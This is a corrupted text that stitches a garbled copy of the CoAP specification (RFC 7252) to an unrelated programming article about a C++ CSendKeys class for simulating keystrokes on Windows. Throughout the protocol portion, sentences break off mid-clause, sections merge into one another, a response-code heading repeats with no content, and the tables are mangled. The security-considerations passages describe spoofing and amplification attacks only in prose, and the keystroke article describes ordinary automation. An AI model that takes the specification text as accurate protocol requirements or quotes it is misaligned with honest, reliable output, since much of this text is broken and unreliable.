A client sending a request without using Transport Layer Security (Section 9) SHOULD use a nontrivial, the token as opaque and make no assumptions about its content or structure.
5.3.2. Request/Response Matching Rules
The exact rules for matching a response to a request are as follows:
- The source endpoint of the response MUST be the same as the destination endpoint of the original request.
- In a piggybacked response, the Message ID of the Confirmable request and the Acknowledgement MUST match, and the tokens of the response and original request MUST match. In a separate response, just the tokens of the response and original request MUST match.
In case a message carrying a response is unexpected (the client is not waiting for a response from the identified endpoint, at the endpoint addressed, and/or with the given token), the response is rejected (Sections 4.2 and which to correlate this response, [OBSERVE] will have to keep state in any case.)
5.4. Options
Both requests and responses may include a list of one or more options. For example, the URI in a request is transported in several options, and metadata that would be carried in an HTTP header in HTTP is supplied as options as well.
CoAP defines a single set of options that are used in both requests and responses:
- Content-Format
- ETag
- Location-Path
- Location-Query
- Max-Age
- Proxy-Uri
- Proxy-Scheme
- Uri-Host
- Uri-Path
- Uri-Port
- Uri-Query
- Accept
- If-Match
- If-None-Match
- Size1
The semantics of these options along with their properties are defined in detail in Section 5.10.
Not all options are defined for use with all methods and Response Codes. The possible options for methods and Response Codes are defined in Sections 5.8 and:
- Upon reception, unrecognized options of class "elective" MUST be silently ignored.
- Unrecognized options of class "critical" that occur in a Confirmable request MUST cause the return of a 4.02 (Bad Option) response. This response SHOULD include a diagnostic payload describing the unrecognized option(s) (see Section 5.5.2).
- Unrecognized options of class "critical" that occur in a Confirmable response, or piggybacked in an Acknowledgement, MUST cause the response to be rejected (Section 4 or or not it is intended to be part of the Cache-Key (Section 5.6) in a request.. For example,, leaving seven out of eight codepoints for what appears to be the more likely case.
Proxy behavior with regard to these classes is defined in Section 5.7. or Elective, Unsafe or Safe-to-Forward, and, in the case of Safe-to-Forward, to provide a Cache-Key indication as shown by the following figure. In the following text, the bit mask is expressed as a single byte that is applied to the least significant byte of the option number in unsigned integer representation. When bit 7 (the least significant bit) is 1, an Numbers" metadata about the selected representation. it depends:
- the presented request method and that used to obtain the stored response match,
- described in Section 5.10.6; see also Section 5.4.2), and
- the stored response is either fresh or successfully validated as defined both to.
When a client uses a proxy to make a request that will use a secure URI scheme (e.g., "coaps" or "https"), the request towards the proxy SHOULD be sent using DTLS except where equivalent lower-layer security is used for the leg between the client and the proxy.
5.7.1. Proxy Operation
A proxy generally needs a way to determine potential request parameters for a request it places to a destination, based on the request it received from its client. refresh its cache according to Section 5.6. For options in the request that the proxy recognizes, it knows whether the option is intended to act as part of the key used in looking up the cached value or not. For example, or. For example,.
5.7.2. Forward-Proxies
CoAP distinguishes between requests made (as if) to an origin server and requests made through a forward-proxy. CoAP requests to a forward-proxy are made as normal Confirmable or Non-confirmable requests to the forward-proxy endpoint, but. For example, a reverse-proxy might offer various resources as if they were its own resources, after having learned of their existence through resource discovery.backed Response.
5.9.1.2. 2.02 Deleted
This Response Code is
This Response Code is
This Response Code is
This Response Code is
This Response Code is
This Response Code is like HTTP 403 "Forbidden".
5.9.2.5. 4.04 Not Found
This Response Code is like HTTP 404 "Not Found".
5.9.2.6. 4.05 Method Not Allowed
This Response Code is like HTTP 405 "Method Not Allowed" but with no parallel to the "Allow" header field.
5.9.2.7. 4.06 Not Acceptable
This Response Code is like HTTP 406 "Not Acceptable", but with no response entity.
5.9.2.8. 4.12 Precondition Failed
This Response Code is like HTTP 412 "Precondition Failed".
5.9.2.9. 4.13 Request Entity Too Large
This Response Code is like HTTP 413 "Request Entity Too Large".
The response SHOULD include a Size1 Option (Section 5.10.9) to indicate the maximum size of request entity the server is able and willing to handle, unless the server is not in a position to make this information available.
5.9.2.10. 4.15 Unsupported Content-Format
This Response Code is
This Response Code is like HTTP 500 "Internal Server Error".
5.9.3.2. 5.01 Not Implemented
This Response Code is like HTTP 501 "Not Implemented".
5.9.3.3. 5.02 Bad Gateway
This Response Code is like HTTP 502 "Bad Gateway".
5.9.3.4. 5.03 Service Unavailable
This Response Code is like HTTP 503 "Service Unavailable" but uses the Max-Age Option in place of the "Retry-After" header field to indicate the number of seconds after which to retry.
5.9.3.5. 5.04 Gateway Timeout
This Response Code is like HTTP 504 "Gateway Timeout".) | | 17 | x | | | | Accept | uint | 0-2 | (none) | | 20 | | | | x | Location-Query | string | 0-255 | (none) | | 35 | x | x | - | | Proxy-Uri | string | 1-1034 | (none) | | 39 | x | x | - | | Proxy-Scheme | string | 1-255 | (none) | | 60 | | | x | | Size1 | uint | 0-4 | (none) | +-----+---+---+---+---+----------------+--------+--------+----------+
C=Critical, U=Unsafe, N=NoCacheKey, R=Repeatable
Table 4: Options:
- the Uri-Host Option specifies the Internet host of the resource being requested,
- the Uri-Port Option specifies the transport-layer port number of the resource,
- each Uri-Path Option specifies one segment of the absolute path to the resource, examining the individual options.
Examples can be found in Appendix B. (each of which MUST NOT be included; for example,- Formats"-Formats" multiple any existing representation (i.e., it places the precondition on the existence of any current representation for the target resource).
The If-Match Option can occur multiple times. If any of the options match, then the condition is fulfilled.
If there is one or more If-Match Options, but none of the options match, then the condition is not fulfilled.
5.10.8.2. If-None-Match
The If-None-Match Option MAY be used to make a request conditional on the nonexistence.)
5.10.9. Size1 Option
The Size1 option provides size information about the resource representation in a request. The option value is an integer number of bytes. Its main use is with block-wise transfers [BLOCK]. In the present specification, it is used in 4.13 responses (Section 5.9.2.9) to indicate the maximum size of request entity that the server is able and willing to handle. that].
Implementation Note: Unfortunately, over time, the URI format has acquired significant complexity. Implementers are encouraged to examine [RFC3986] closely. For example, the ABNF for IPv6 addresses is more complicated than maybe expected. Also, implementers should take care to perform the processing of percent-decoding or percent-encoding exactly once on the way from a URI to its decoded components or back. Percent-encoding is crucial for data transparency but may lead to unusual results such as a slash character namespace ]
All of the requirements listed above for the "coap" scheme are also requirements for the "coaps" scheme, except that a default UDP port of 5684 namespaces.
- Resolve the |url| string using the process of reference resolution defined by [RFC3986]. At this stage, the URL is in ASCII encoding [RFC0020], even though the decoded components will be interpreted in UTF-8 [RFC3629] after steps 5, 8, and 9.
NOTE: It doesn't matter what it is resolved relative to, since we already know it is an absolute URL at this point.
- If |url| does not have a <scheme> component whose value, when converted to ASCII lowercase, is "coap" or "coaps", then fail this algorithm.
- If |url| has a <fragment> component, then fail this algorithm.
- convert.
- If |port| does not equal the request's destination UDP port, include a Uri-Port Option and let that option's value be |port|.
- uppercase (as defined in Section 2.1 of [RFC3986];, in the "sub-delims" set, a U+003A COLON (:) character, or value to |resource name|, after converting any character that is not either in the "unreserved" set, in the "sub-delims" set (except U+0026 AMPERSAND (&)), a U+003A COLON (:), a U+0040 COMMERCIAL AT (@), a U+002F SOLIDUS (/), or a U+003F QUESTION MARK (?) character to its percent-encoded form. 9. Append |resource name| to |url|.
- 5684] and [RFC6282]. (Note that, as its UDP port differs from the default port, it is a different endpoint from the server at the default port.)
7.2. Resource Discovery
The discovery of resources offered by a CoAP endpoint is extremely important in machine-to-machine applications where there are no humans in the loop and static interfaces result in fragility. To maximize interoperability in a CoRE environment, a CoAP endpoint SHOULD support the CoRE Link Format of discoverable resources as described in [RFC6690], except where fully manual configuration is desired. an IP multicast group. This is defined by a series of deltas to unicast CoAP. A more general discussion of group communication with CoAP is in [GROUPCOMM].
CoAP endpoints that offer services that they want other endpoints to be able to find using multicast service discovery join one or more of the appropriate all-CoAP-node.
To avoid an implosion of error responses, when a server is aware that a request arrived via multicast, it MUST NOT return a Reset message in reply to a Non-confirmable message. If it is not aware, it MAY return a Reset message in reply to a Non-confirmable message as usual. Because such a Reset message will look identical to one for a unicast message from the sender, the sender MUST avoid using a Message ID that is also still active from this endpoint with any unicast endpoint that might receive the multicast message.
At the time of writing, multicast messages can only be carried in UDP not in DTLS. This means that the security modes defined for CoAP in this document are not applicable to multicast. query filtering as described in [RFC6690], a server should not respond to a multicast request if the filter does not match. More examples are in [GROUPCOMM].)
If a server does decide to respond to a multicast request, it should not respond immediately. Instead, it should pick a duration for the period of time during which it intends to respond. For
For example, for a multicast request with link-local scope on a 2.4 GHz IEEE 802.15.4 (6LoWPAN) network, G could be (relatively, the request URI (i.e., the. Proxying multicast requests is discussed in more detail in [GROUPCOMM]; one proposal to address the base URI issue can be found in Section 3 of [IPsec-CoAP]. Certain link layers in use with constrained nodes also provide link-layer security, which may be appropriate with proper key management. PreSharedKey: DTLS is enabled,). Conversely, if more than two entities share a specific pre-shared key, this key only enables the entities to authenticate as a member of that group and not as a specific peer. RawPublicKey: DTLS is enabled and the device has an asymmetric key pair without a certificate (a raw public key) that is validated using an out-of-band mechanism [RFC7250] subject. In practice, DTLS is the use of a given mode of DTLS is applicable for a CoAP-based application should be carefully weighed considering the specific cipher suites that may be applicable, whether the session maintenance makes it compatible with application flows, and whether Acknowledgement message or Reset message to a Confirmable message, or a Reset message to a Non-confirmable therefore MUST be rejected (unless it does match an unrelated NoSec request).
9.1.3. Endpoint Identity
Devices SHOULD support the Server Name Indication (SNI) to indicate their authority].
Depending on the commissioning model, applications may need to define an application profile for identity hints (as required and detailed in Section 5.2 of [RFC4279]) to enable the use of PSK identity hints.
The security considerations of Section 7 of [RFC4279] apply. In particular, applications should carefully weigh whether or not they need Perfect Forward Secrecy (PFS) and select an appropriate cipher suite (Section 7.1 of [RFC4279]). The entropy of the PSK must be sufficient to mitigate against brute-force and (where the PSK is not chosen randomly but by a human) dictionary attacks (Section 7.2 of [RFC4279]). The cleartext communication of client identities may leak data or compromise privacy (Section 7.3 of [RFC4279]).
9.1.3.2. Raw Public Key Certificates
In this mode, the device has an asymmetric key pair but without an X.509 certificate (called a raw public key); for example, the asymmetric key pair is generated by the manufacturer and installed on the device (see also Section 11.6). [RFC7251], [RFC5246], and [RFC4492].. Some guidance relevant to the implementation of this cipher suite can be found in [W3CXMLSEC]. The mechanism for using raw public keys with TLS is specified in [RFC7250].]. All implementations that support checking RawPublicKey identities MUST support at least the sha-256-120 mode (SHA-256 truncated to 120 bits). Implementations SHOULD also support (initial and ongoing) provisioning, an access control list of identifiers with which the device may start DTLS sessions SHOULD also be installed and maintained.
9.1.3.3. X.509 Certificates
Implementations in Certificate Mode MUST support the mandatory-to- implement cipher suite TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8 as specified in [RFC7251], [RFC5246], and ..
The subject in the certificate would be built out of a long-term unique identifier for the device such as the EUI-64 [EUI64]. The subject could also be based on the Fully Qualified Domain Name (FQDN) that was used as the Host part of the CoAP URI. However, the device's IP address should not typically be used as the subject, as it would change over time. The discovery process used in the system would build up the mapping between IP addresses of the given devices and the subject for each device. Some devices could have more than one subject Section 6 of [RFC5280]. If the certificate contains a SubjectAltName, then the authority of the request URI MUST match at least one of the authorities of any CoAP URI found in a field of URI type in the SubjectAltName set. If there is no SubjectAltName in the certificate, then the authority of the request URI MUST match the Common Name (CN) found in the certificate using the matching rules defined in [RFC3280] with the exception that certificates with wildcards are not allowed.
CoRE support for certificate status checking requires further study. As a mapping of the Online Certificate Status Protocol (OCSP) [RFC6960] onto CoAP is not currently defined and OCSP may also not be easily applicable in all environments, an alternative approach may be using the TLS Certificate Status Request extension (Section 8 of [RFC6066]; also known as "OCSP stapling") or preferably the Multiple Certificate Status Extension ([RFC6961]), were an HTTP-CoAP reverse-proxy . (See also Section 5.7 for how the request to the proxy is formulated, including security requirements.)
This section specifies for any CoAP request the CoAP response that the proxy should return to the client. How the proxy actually satisfies the request is an implementation detail, although the typical case is expected to be that the proxy translates and forwards MUST the client upon success or if the resource does not exist at the time of the request. that the proxy translates and forwards.
Upon success, a 200 (OK) response is returned. The payload of the response MUST be a representation of the target CoAP resource, and the Content-Type and Content-Encoding header fields MUST that option [BLOCK] to minimize the amount of data actually transferred, but cannot.
11.1. Parsing the Protocol and Section those the proxy would require to perform request forwarding in the first place.
Unlike the "coap" scheme, responses to "coaps" identified requestsbacked.
As a mitigating factor, many constrained networks will only be able to generate a small amount of traffic, which may make CoAP nodes less attractive for this attack. However, the limited capacity of the constrained network makes the network itself a likely victim of an amplification attack.
Therefore, large amplification factors SHOULD NOT be provided in the response if the request is not authenticated. A CoAP server can reduce the amount of amplification it provides to an attacker by using slicing/blocking modes of CoAP [BLOCK] and offering large resource representations only in relatively small slices. For example, source of accidental or deliberate DoS [IEEE1003.1], that is free to read and write messages carried by the constrained network (i.e., NoSec or PreSharedKey deployments with a nodes/key ratio > 1:1), may easily attack a single endpoint, a group of endpoints, as well as the whole network, e.g., by:
- spoofing a Reset message in response to a Confirmable message or Non-confirmable message, thus making an endpoint "deaf"; or
- spoofing an ACK in response to a CON message, thus potentially preventing the sender of the CON message from retransmitting, and drowning out the actual response; or
- setting or updating state is a potential target.); or
- spoofing a multicast request for a target node; this may result in network congestion/collapse, a DoS attack on the victim, or forced wake-up from sleeping; or
- spoofing observe messages, etc.
Response spoofing by off-path attackers can be detected and mitigated even without transport layer security by choosing a nontrivial, randomized token in the request (Section 5.3.1). [RFC4086] discusses randomness requirements for security.
In principle, other kinds of spoofing can be detected by CoAP only in case Confirmable message semantics is used, because of unexpected Acknowledgement or Reset messages; this might cause the server, if it uses separate responses, to block legitimate responses to that client because of NSTART=1. All these attacks can be prevented using a security mode other than NoSec, thus). This would occur as follows:
- The attacker sends a message to a CoAP endpoint with the given address as the fake source address.
- The CoAP endpoint replies with a message to the given source address.
- and that map into the interesting part of the CoAP header, and the next two bytes are then interpreted as CoAP's Message ID (i.e., any value is acceptable). The DNS count words may be interpreted as multiple instances of a (nonexistent but elective) CoAP option 0, or possibly as a Token. The echoed query finally may be manufactured by the attacker to achieve a desired effect on the CoAP endpoint; the response added by the server (if any) might then just be interpreted as added payload. 15: DNS Header ([RFC1035], Section 4.1.1). For example, if the same DTLS security association ("connection") is used to carry data of multiple protocols, DTLS no longer provides protection against cross-protocol attacks between these protocols." registry, hereafter referred to as the digits dd denote a decimal number between 00 and 31 for the detail.
All Code7252] | | 0.02 | POST | [RFC7252] | | 0.03 | PUT | [RFC7252] | | 0.04 | DELETE | [RFC7252] | +------+--------+-----------+
Table 5: CoAP Method Codes
All other Method Codes are Unassigned.
The IANA policy for future additions to this sub-registry is "IETF Review or IESG Approval" as described in [RFC5226].
The documentation of a Method Code should specify the semantics of a request with that code, including the following properties:
- The Response Codes the method returns in the success case.
-7252] | | 2.02 | Deleted | [RFC7252] | | 2.03 | Valid | [RFC7252] | | 2.04 | Changed | [RFC7252] | | 2.05 | Content | [RFC7252] | | 4.00 | Bad Request | [RFC7252] | | 4.01 | Unauthorized | [RFC7252] | | 4.02 | Bad Option | [RFC7252] | | 4.03 | Forbidden | [RFC7252] | | 4.04 | Not Found | [RFC7252] | | 4.05 | Method Not Allowed | [RFC7252] | | 4.06 | Not Acceptable | [RFC7252] | | 4.12 | Precondition Failed | [RFC7252] | | 4.13 | Request Entity Too Large | [RFC7252] | | 4.15 | Unsupported Content-Format | [RFC7252] | | 5.00 | Internal Server Error | [RFC7252] | | 5.01 | Not Implemented | [RFC7252] | | 5.02 | Bad Gateway | [RFC7252] | | 5.03 | Service Unavailable | [RFC7252] | | 5.04 | Gateway Timeout | [RFC7252] | | 5.05 | Proxying Not Supported | [RFC7252] | +------+------------------------------+-----------+:
- The methods the Response Code applies to.
- Whether payload is required, optional, or not allowed.
- The semantics of the payload. For example, the payload of a 2.05 (Content) response is a representation of the target resource; the payload in an error response is a human-readable diagnostic payload.
- The format of the payload. For example, the format in a 2.05 (Content) response is indicated by the Content-Format Option; the format of the payload in an error response is always Net-Unicode text.
- Whether the response is cacheable according to the freshness model.
- Whether the response is validatable according to the validation model.
- Whether the response causes a cache to mark responses stored for the request URI as not fresh.
12.2. CoAP Option Numbers Registry
This document defines a7252] | | 1 | If-Match | [RFC7252] | | 3 | Uri-Host | [RFC7252] | | 4 | ETag | [RFC7252] | | 5 | If-None-Match | [RFC7252] | | 7 | Uri-Port | [RFC7252] | | 8 | Location-Path | [RFC7252] | | 11 | Uri-Path | [RFC7252] | | 12 | Content-Format | [RFC7252] | | 14 | Max-Age | [RFC7252] | | 15 | Uri-Query | [RFC7252] | | 17 | Accept | [RFC7252] | | 20 | Location-Query | [RFC7252] | | 35 | Proxy-Uri | [RFC7252] | | 39 | Proxy-Scheme | [RFC7252] | | 60 | Size1 | [RFC7252] | | 128 | (Reserved) | [RFC7252] | | 132 | (Reserved) | [RFC7252] | | 136 | (Reserved) | [RFC7252] | | 140 | (Reserved) | [RFC7252] | +--------+------------------+-----------+
Table 7: CoAP Option Numbers
The IANA policy for future additions to this sub.
+-------------+---------------------------------------+ | Range | Registration Procedures | +-------------+---------------------------------------+ | 0-255 | IETF Review or IESG Approval | | 256-2047 | Specification Required | | 2048-64999 | Expert Review | | 65000-65535 | Experimental use (no operational use) | +-------------+---------------------------------------+
Table 8: CoAP Option Numbers: Registration Procedures
The documentation of an Option Number should specify the semantics of an option with that number, including the following properties:
- The meaning of the option in a request.
- The meaning of the option in a response.
- Whether the option is critical or elective, as determined by the Option Number.
- Whether the option is Safe-to-Forward, and, if yes, whether it is part of the Cache-Key, as determined by the Option Number (see Section 5.4.2).
- The format and length of the option's value.
- Whether the option must occur at most once or whether it can occur multiple times.
- The default value, if any. For a critical option with a default value, a discussion on how the default value enables processing by implementations that do not support the critical option (Section 5.4.4).
12.3. CoAP Content-Formats Registry
Internet media types are identified by a string, such as "application/xml" [RFC2046]. In order to minimize the overhead of using these media types to indicate the format of payloads, this document defines a sub-registry for a subset of Internet media types to be used in CoAP and assigns each, in combination with a content- coding, a numeric identifier. The name of the sub-registry is "CoAP Content-Formats", within the "CoRE Parameters" registry.
Each entry in the sub.
Initial entries in this sub-registry are as follows:
+--------------------------+----------+----+------------------------+ | Media type | Encoding | ID | Reference | +--------------------------+----------+----+------------------------+ | text/plain; | - | 0 | [RFC2046] [RFC3676] | | charset=utf-8 | | | [RFC5147] | | application/link-format | - | 40 | [RFC6690] | | application/xml | - | 41 | [RFC3023] | | application/octet-stream | - | 42 | [RFC2045] [RFC2046] | | application/exi | - | 47 | [REC-exi-20140211] | | application/json | - | 50 | [RFC7159] | +--------------------------+----------+----+------------------------+ namespace of single-byte identifiers is so small, the IANA policy for future additions in the range 0-255 inclusive to the sub-registry is "Expert Review" as described in [RFC5226]. The IANA policy for additions in the range 10000-64999 inclusive is "First Come First Served" as described in [RFC5226]. This is summarized in the following table.
+-------------+---------------------------------------+ | Range | Registration Procedures | +-------------+---------------------------------------+ | 0-255 | Expert Review | | 256-9999 | IETF Review or IESG Approval | | 10000-64999 | First Come First Served | | 65000-65535 | Experimental use (no operational use) | +-------------+---------------------------------------+
Table 10: CoAP Content-Formats: Registration Procedures
In machine-to-machine applications, it is not expected that generic Internet media types such as text/plain, application/xml or application/octet-stream are useful for real applications in the long term. It is recommended that M2M applications making use of Co contains the request for the registration of the Uniform Resource Identifier (URI) scheme "coap". The registration request complies with [RFC4395].
URI scheme name.
-
coap
Status.
Permanent..
-
IETF Chair <chair@ietf.org>
Author/Change controller.
-
IESG <iesg@ietf.org>
References.
-
[RFC7252]
12.5. Secure URI Scheme Registration
This document contains the request for the registration of the Uniform Resource Identifier (URI) scheme "coaps". The registration request complies with [RFC4395].
URI scheme name.
-
coaps
Status.
Permanent..
-
IETF Chair <chair@ietf.org>
Author/Change controller.
-
IESG <iesg@ietf.org>
References.
-
[RFC7252]
12.6. Service Name and Port Number Registration
One of the functions of CoAP is resource discovery: a CoAP client can ask a CoAP server about the resources offered by it (see Section 7). To enable resource discovery just based on the knowledge of an IP>
-
IETF Chair <chair@ietf.org>
Description.
Constrained Application Protocol (CoAP)
Reference.
-
[RFC7252]
Port Number.
12.7. Secure Service Name and Port Number Registration
CoAP resource discovery may also be provided using the DTLS-secured CoAP "coaps" scheme. Thus, the CoAP port for secure resource discovery needs to be standardized.
IANA has assigned the port number 5684 and the service name "coaps", in accordance with [RFC6335].
Besides unicast, DTLS-secured CoAP can be used with anycast.
Service Name.
-
coaps
Transport Protocol.
-
udp
Assignee.
-
IESG <iesg@ietf.org>
-
IETF Chair <chair@ietf.org>
Description.
-
DTLS-secured CoAP
Reference.
-
[RFC7252]
Port Number.
12.8. Multicast Address Registration
Section 8, "Multicast CoAP", defines the use of multicast. IANA has assigned the following multicast addresses for use by CoAP nodes:
IPv4 -- "All CoAP Nodes" address 224.0.1.187, from the "IPv4 Multicast Address Space Registry". As the address is used for discovery that may span beyond a single network, it has come from the Internetwork Control Block (224.0.1.x, RFC 5771). IPv6 -- "All CoAP Nodes" address FF0X::FD,.
13. Acknowledgements
Brian Frank was a contributor to and coauthor of early versions of this specification.
Special thanks to Peter Bigot, Esko Dijk, and Cullen Jennings for substantial contributions to the ideas and text in the document, along with countless detailed reviews and discussions.
Thanks to Floris Van den Abeele, Anthony Baire, Ed Beroset, Berta Carballido, Angelo P. Castellani, Gilbert Clark, Robert Cragie, Pierre David, Esko Dijk, Lisa Dusseault, Mehmet Ersue, Thomas Fossati, Tobias Gondrom, Bert Greevenbosch, Tom Herbst, Jeroen Hoebeke, Richard Kelsey, Sye Loong Keoh, Ari Keranen, Matthias Kovatsch, Avi Lior, Stephan Lohse, Salvatore Loreto, Kerry Lynn, Andrew McGregor, Alexey Melnikov, Guido Moritz, Petri Mutka, Colin O'Flynn, Charles Palmer, Adriano Pezzuto, Thomas Poetsch, Robert Quattlebaum, Akbar Rahman, Eric Rescorla, Dan Romascanu, David Ryan, Peter Saint-Andre, Szymon Sasin, Michael Scharf, Dale Seed, Robby Simpson, Peter van der Stok, Michael Stuber, Linyi Tian, Gilman Tolle, Matthieu Vial, Maciej Wasilak, Fan Xianyou, and Alper Yegin for helpful comments and discussions that have shaped the document. Special thanks also to the responsible IETF area director at the time of completion, Barry Leiba,
5785] Nottingham, M. and E. Hammer-Lahav, "Defining Well-Known Uniform Resource Identifiers (URIs)", RFC 5785, April 2010. . 7251] McGrew, D., Bailey, D., Campagna, M., and R. Dugal, "AES- CCM Elliptic Curve Cryptography (ECC) Cipher Suites for Transport Layer Security (TLS)", RFC 7251, June 2014.
14.2. Informative References
[BLOCK] Bormann, C. and Z. Shelby, "Blockwise transfers in CoAP", Work in Progress, October 2013.
[CoAP-MISC]
-
Bormann, C. and K. Hartke, "Miscellaneous additions to CoAP", Work in Progress, December 2013. [EUI64] IEEE Standards Association, "Guidelines for 64-bit Global Identifier (EUI-64 (TM))", Registration Authority Tutorials, April 2010, < oui/tutorials/EUI64.html>.
[GROUPCOMM]
-
Rahman, A. and E. Dijk, "Group Communication for CoAP", Work in Progress, December 2013. [HHGTTG] Adams, D., "The Hitchhiker's Guide to the Galaxy", Pan Books ISBN 3320258648, 1979.
[IEEE1003.1]
-
IEEE and The Open Group, "Portable Operating System Interface (POSIX)", The Open Group Base Specifications Issue 7, IEEE 1003.1, 2013 Edition, <>.
[IPsec-CoAP]
-
Bormann, C., "Using CoAP with IPsec", Work in Progress, December 2012. [MAPPING] Castellani, A., Loreto, S., Rahman, A., Fossati, T., and E. Dijk, "Guidelines for HTTP-CoAP Mapping Implementations", Work in Progress, February 2014. [OBSERVE] Hartke, K., "Observing Resources in CoAP", Work in Progress, April 2014.
[REC-exi-20140211]
-
Schneider, J., Kamiya, T., Peintner, D., and R. Kyusakov, "Efficient XML Interchange (EXI) Format 1.0 (Second Edition)", W3C Recommendation REC-exi-20140211, February 2014, <>. [REST] Fielding, R., "Architectural Styles and the Design of Network-based Software Architectures", Ph.D. Dissertation, University of California, Irvine, 2000, < fielding_dissertation.pdf>. [RFC0020] Cerf, V., "ASCII format for network interchange", RFC 20, October 1969. 35. [RFC4492] Blake-Wilson, S., Bolyard, N., Gupta, V., Hawk, C., and B. Moeller, "Elliptic Curve Cryptography (ECC) Cipher Suites for Transport Layer Security (TLS)", RFC 4492, May. [RFC6936] Fairhurst, G. and M. Westerlund, "Applicability Statement for the Use of IPv6 UDP Datagrams with Zero Checksums", RFC 6936, April 2013. 7159] Bray, T., "The JavaScript Object Notation (JSON) Data Interchange Format", RFC 7159, March 2014. [RFC7228] Bormann, C., Ersue, M., and A. Keranen, "Terminology for Constrained-Node Networks", RFC 7228, May 2014.
[RTO-CONSIDER]
-
Allman, M., "Retransmission Timeout Considerations", Work in Progress, May 2012.
[W3CXMLSEC]
-
Wenning, R., "Report of the XML Security PAG", W3C XML Security PAG, October 2012, <>.
Appendix A. Examples
This section gives a number of short examples with message flows for GET requests. These examples demonstrate the basic operation, the operation in the presence of retransmissions, and multicast.
Figure 16 shows a basic GET request causing a piggybacked 16: Confirmable Request; Piggybacked Response
Figure 17 shows a similar example, but with the inclusion of an non- empty Token (Value 0x20) in the request and the response, increasing the sizes to 17 and 12 bytes, respectively. 17: Confirmable Request; Piggybacked Response
In Figure 18, the Confirmable GET request is lost. After ACK_TIMEOUT seconds, the client retransmits the request, resulting in a piggybacked response as in the previous example. 18: Confirmable Request (Retransmitted); Piggybacked Response
In Figure 19, 19: Confirmable Request; Piggybacked Response (Retransmitted)
In Figure 20, 20: Confirmable Request; Separate Response
Figure 21 21: Confirmable Request; Separate Response (Unexpected)
Figure 22: Non-confirmable Request; Non-confirmable Response
In Figure 23, 23:.
- Input:
Destination IP Address = [2001:db8::2:1] Destination UDP Port = 5683
Output:
coap://[2001:db8::2:1]/
- Input:
Destination IP Address = [2001:db8::2:1] Destination UDP Port = 5683 Uri-Host = "example.net"
Output:
coap://example.net/
- Input:
Destination IP Address = [2001:db8::2:1] Destination UDP Port = 5683 Uri-Host = "example.net" Uri-Path = ".well-known" Uri-Path = "core"
Output:
coap://example.net/.well-known/core
-
Authors' Addresses
Zach Shelby ARM 150 Rose Orchard San Jose, CA 95134 USA Phone: +1-408-203-9434 EMail: zach.shelby@arm.com | http://pike.lysator.liu.se/docs/ietf/rfc/72/rfc7252.xml | CC-MAIN-2021-49 | refinedweb | 7,338 | 54.63 |
One day I needed to send keys to another application in order to automate a task from my C++ program, but after some research, I found no easy way to do that in C++ and all what was found is reference to VB's or C#'s SendKeys. However, one of the search results returned sndkeys32.pas which is a Delphi code version of the SendKeys() written by Ken Henderson back in 1995.
SendKeys
SendKeys()
Since I know Delphi and wanted this same functionality in C++, I decided to port and enhance the code to make it fit my needs. The remainder of the article will explain the concept of sending keys in Win32 and will show you how to use the code in order to send keys in just two lines of code!
Hope you find this article useful.
The core functionality of sending keys in CSendKeys revolves around the usage of the keybd_event() Win32 API function.
CSendKeys
keybd_event()
The keybd_event() produces a keystroke, however the keyboard driver's interrupt handles the calls to this function, which means we can send almost any key combination with less limitations.
keybd_event()
In brief, it allows you to send a virtual key, defined in winuser.h as VK_XXX, and a flag which denotes a KeyDown, KeyUp or state to tell if the VKey is an extended key or not.
Normal characters are translated into virtual keys using the VkKeyScan() which takes a CHAR and returns a WORD denoting a VK.
VkKeyScan()
When you send a key, it will be depressed until you send it again with the KEYEVENTF_KEYUP flag.
KEYEVENTF_KEYUP
Here is a small snippet that allows you to send the ALT-TAB sequence:
// press DOWN "Alt-Tab"
keybd_event(VK_MENU, 0, 0, 0);
keybd_event(VK_TAB, 0, 0, 0);
::Sleep(1000);
// stop pressing "Alt-Tab"
keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP, 0);
As you see, in order to send this simple keys combination, 4 lines of coded were needed. Here is where CSendKeys comes to simplify this task.
#include "SendKeys.h"
.
.
.
CSendKeys sk;
// Send "Hello world!"
sk.SendKeys("Hello world!");
.
.
.
.
.
.
// Run notepad
sk.SendKeys("{DELAY=50}@rnotepad{ENTER}");
<P>
</P>
CSendKeys is designed in a way to maintain certain compatibility with C#'s SendKeys while also adding more functionality. So if you used C#'s SendKeys.Send() or VB's before then using CSendKeys becomes easier.
Each key is represented by one or more characters. To specify a single keyboard character, use the character itself. For example, to represent the letter 'a', pass in the string "a" to the method. Naturally to represent a string of characters just pass them in order as "hello".
If you want to send modifier keys such as the SHIFT, ALT, CONTROL or WINKEY keys in addition to normal keys, you might want to use any of the characters defined in Table 3.
For example, if you want to send "A" you usually press Shift+A, which is equivalent to sending these key strokes: "+a" , similarly to send the "~" you would press Shift+` which is equivalent to key strokes "+`" or simply "{TILDE}" (Table 1.b).
All characters in Table 3 are reserved and have special meaning in addition to the left/right parenthesis/braces.
The parenthesis are used to associate a given modifier or modifiers with a group of characters, for example to send the "HELLO", you would describe as "+(hello)" which informs CSendKeys to depress the SHIFT key while sending the following keys group. Whereas the braces are used to enclose any of the keys displayed in Table 1 and 2.
The sent keys are sent to no specific application, instead they are just pressed and whatever application has the keyboard input will take the keys.
In order to send the keys to a specific window/application please use either of the methods:
// 1. activate an application using its handle
sk.AppActivate(hWnd);
// 2. activate an application given its window title
sk.AppActivate("Title");
/// 3. activate an application given either or both of its window title/class
sk.AppActivate(NULL, "TheClass"); // NULL means this criteria is not avail
// 4. via SendKeys method
sk.SendKeys("{appactivate Notepad}hello");
The following table is a slightly modified version of the MSDN/SendKeys help:
The following are my additions:
In addition to this, I have added some special keys that act like commands:
Very useful if you don't want to recompile CSendKeys and add new Vkey to the hardcoded special keys table.
For example, {VKEY 13} is equivalent to VK_RETURN.
Example: {DELAY 1000} <-- delays subsequent key stroke for 1 second.
If a value is already set and you specify {DELAY Y} you will have your following key delay Y ms but the subsequent keys will be delayed X ms.
Example: {DELAY=1000} <-- all subsequent keys will be delayed for 1 second.
Very useful if you want to send different keys to different applications.
Here are some examples:
For more examples see the accompanying sample code.
CarryDelay()
SetDelay()
StringToVKey()
RIGHTPAREN
RIGHT
SendKeys.Send
This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.
A list of licenses authors might use can be found here
BOOL bMatch(FALSE);
if (wclass)
{
TCHAR szClass[300];
if (::GetClassName(hwnd, szClass, _countof(szClass)))
bMatch |= (_tcsstr(szClass, wclass) != 0);
}
if (wtitle)
{
TCHAR szTitle[300];
